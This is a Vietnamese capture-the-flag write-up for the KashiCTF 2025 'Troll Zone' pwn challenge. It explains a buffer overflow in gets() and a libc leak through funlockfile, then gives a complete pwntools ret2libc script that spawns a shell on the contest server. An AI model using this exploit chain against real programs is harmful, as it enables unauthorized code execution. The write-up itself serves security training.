# KASHI CTF 2025 - VI
# **The Troll Zone**
### 1. **Phân tích chương trình**
- Đầu tiên, ta dùng GDB để checksec các cơ chế bảo mật của binary:

- Tiếp theo, ta phân tích chương trình bằng IDA, có hai hàm chính mà chúng ta cần quan tâm là hàm main() và hàm troll(). Hàm main() có lỗi buffer overflow tại gets():

- Còn tại hàm troll() chúng ta có thể tận dụng lỗi format string ở câu lệnh cuối. Nhưng ở đây ta sẽ không dùng cách đó

b) Tiến hành khai thác
- Đề bài cho ta libc, suy ra hiển nhiên ta tấn công chương trình bằng kỹ thuật ret2libc. Bước đầu tiên của kỹ thuật này là tìm các Gadget phù hợp để tạo thành các ROP. Tuy nhiên ta lại không tìm được các Gadget cần thiết, vì vậy ta phải tìm cách khác:

- Sau một hồi debug thì ta thấy một điều thú vị: sau khi hàm printf() được gọi thì nó sẽ để lại một con trỏ, con trỏ này trỏ đến địa chỉ hàm funlockfile() trong thanh ghi rdi. Hàm funlockfile() là một hàm của libc:

- Ở cuối hàm main() có gọi tới hàm printf(), sau khi hàm printf() này thực hiện xong thì nó sẽ để lại con trỏ, trỏ đến địa chỉ của hàm funlockfile() trong thanh ghi rdi. Vậy thì sau khi hàm printf này thực hiện xong thì ta cần phải gọi tiếp một hàm printf khác để in ra địa chỉ của hàm funlockfile() đó, từ đó sẽ tìm ra được libc base address
- Để gọi tiếp một hàm printf khác thì ta sẽ tận dụng lỗi Buffer overflow tại hàm main(). Trước hết ta ghi 32 ký tự để thoát khỏi hàm troll() và trở lại hàm main(). Khi trở lại hàm main thì ta sẽ tiến hành khai khác buffer overflow bằng cách ghi tràn 40 byte offset và ghi đè địa chỉ của hàm printf vào saved rip. Lưu ý rằng đây là một chương trình 64 bits nên ta cần thêm câu lệnh ret để căn chỉnh stack trước khi gọi đến hàm printf:
```python
ret = 0x401016 #Using ROPgadget to find this
payload = b'a'*32
sla(b'want? ', payload)
payload=b'\0'*40 + p64(ret) + p64(exe.plt.printf)
sla('that? ', payload)
```
- Sau khi hàm printf này được gọi thì nó sẽ in ra địa chỉ của hàm funlockfile() trong libc, từ đó ta có thể tính toán libc base address:
```
ru(b'Still not giving a shit bye hahaha')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x51fd0
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
```

- Vậy ta đã thành công leak được địa chỉ của libc. Bước cuối cùng là trở lại hàm main() một lần nữa, sau đó chạy hàm system với tham số /bin/sh là thành công. Lưu ý rằng khi quay trở lại hàm main(), để đảm bảo stack được căn chỉnh đúng thì ta không nên nhảy thẳng vào câu lệnh đầu tiên của hàm, mà nhảy vào câu lệnh thứ hai của nó (0x401241)
- Full script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
b*0x40129b
c
''')
if args.REMOTE:
conn = 'nc kashictf.iitbhucybersec.in 60404'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
ret = 0x401016
payload = b'a'*32
sla(b'want? ', payload)
payload=b'\0'*40 + p64(ret) + p64(exe.plt.printf) + p64(0x401241)
sla('that? ', payload)
ru(b'Still not giving a shit bye hahaha')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x51fd0
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
pop_rdi = libc.address + 0x277e5
payload=b'a'*32
sla(b'want? ', payload)
payload = b'\0'*40 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(libc.sym.system)
sla(b'that? ', payload)
#p.sendline(payload)
p.interactive()
```
- Kết quả khai thác:
